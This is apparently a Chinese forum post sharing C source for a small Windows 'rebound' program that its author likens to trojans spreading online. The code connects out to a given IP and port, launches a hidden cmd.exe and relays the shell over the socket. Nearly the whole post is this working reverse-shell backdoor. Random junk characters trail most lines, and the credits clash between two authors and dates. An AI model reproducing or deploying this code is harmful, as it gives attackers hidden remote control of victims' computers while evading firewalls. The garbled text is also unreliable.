这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 piM11W}|/
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/* ============================== 77bZ
Rebound port in Windows NT w]P7!t
By wind,2006/7 NtP.)
===============================*/ +/UXy2VRt$
#include Le$u$ulS
#include KA*l6`(
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#pragma comment(lib,"wsock32.lib") Z?j='/u>@
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void OutputShell(); FOnA;5Aa
SOCKET sClient; 2
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HZQ3Ht 3Vh
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void main(int argc,char **argv) }SvWC8
{ OTjryJ^
WSADATA stWsaData; :\=
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int nRet; QIz N#;g
SOCKADDR_IN stSaiClient,stSaiServer; g(}8n bTA
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if(argc != 3) =K<I)2
{ W/F4wEODY
printf("Useage:\n\rRebound DestIP DestPort\n"); +Gwe%p Q
return; sN`o_q{Q
} ';T5[l,
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k)GuMw
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stSaiClient.sin_family = AF_INET; iI Nu`>I
stSaiClient.sin_port = htons(0); z?> y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M,!no
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4JQ`&:?r
{ [q{Txe
printf("Bind Socket Failed!\n"); 3 BhA.o
return; +mW$D@Pf
}
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stSaiServer.sin_family = AF_INET; la{:RlW
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); oZcwbo8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]?^xc[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )tQ6rd'
{ lJ1xx }k{U
printf("Connect Error!"); Tq_X8X#p
return; b2-|e_x
}
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OutputShell(); &)}:Y!qiu
} >xMhA`l
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void OutputShell() ~I^[rP~
{ X^ ]$/rI)
char szBuff[1024]; <hC3#dNRd
SECURITY_ATTRIBUTES stSecurityAttributes; K[yJu 4
OSVERSIONINFO stOsversionInfo; _eeX]xSSl
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v2=!*
STARTUPINFO stStartupInfo; csA.3|rv
char *szShell; tnbs]6
PROCESS_INFORMATION stProcessInformation; w^6N
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unsigned long lBytesRead; 3EX&.OL!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P\0%nyOG(%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _<}5[(qu
stSecurityAttributes.lpSecurityDescriptor = 0; QN8Hz/}\
stSecurityAttributes.bInheritHandle = TRUE; 5va&N<U
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s31_3?Vdf,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Im1qWe
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .vF<3p|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]=VI"v<X
stStartupInfo.wShowWindow = SW_HIDE; >w;W&[
stStartupInfo.hStdInput = hReadPipe; [|O6n"'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k3h53QTmC
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GetVersionEx(&stOsversionInfo); M\4;d #
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switch(stOsversionInfo.dwPlatformId) [ +@<T)
{ aq| [g
case 1: Jm,X~Si
szShell = "command.com"; w[[@&T\`
break; fx"+ZR
default: s(LqhF[N2]
szShell = "cmd.exe"; qinQ5 t
break; PBnn,#
} b<cM[GaV~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); qfe%\krN{i
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send(sClient,szMsg,77,0); 5Cka."bQ
while(1) &b8D'XQu
{ J%B?YO,
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S.>9tV2Ca
if(lBytesRead) +-137!x\q
{ A0sW 9P6F
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B y8Tw;aL
send(sClient,szBuff,lBytesRead,0); FLOJ
} +~]g&Mf6o
else /k Vc7LC
{ $466?
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lBytesRead=recv(sClient,szBuff,1024,0); w'>v@`y
if(lBytesRead<=0) break; 5E(P,!-.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n\DT0E]
} 1k({(\>qq
} :m)?+
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return; IKpx~
}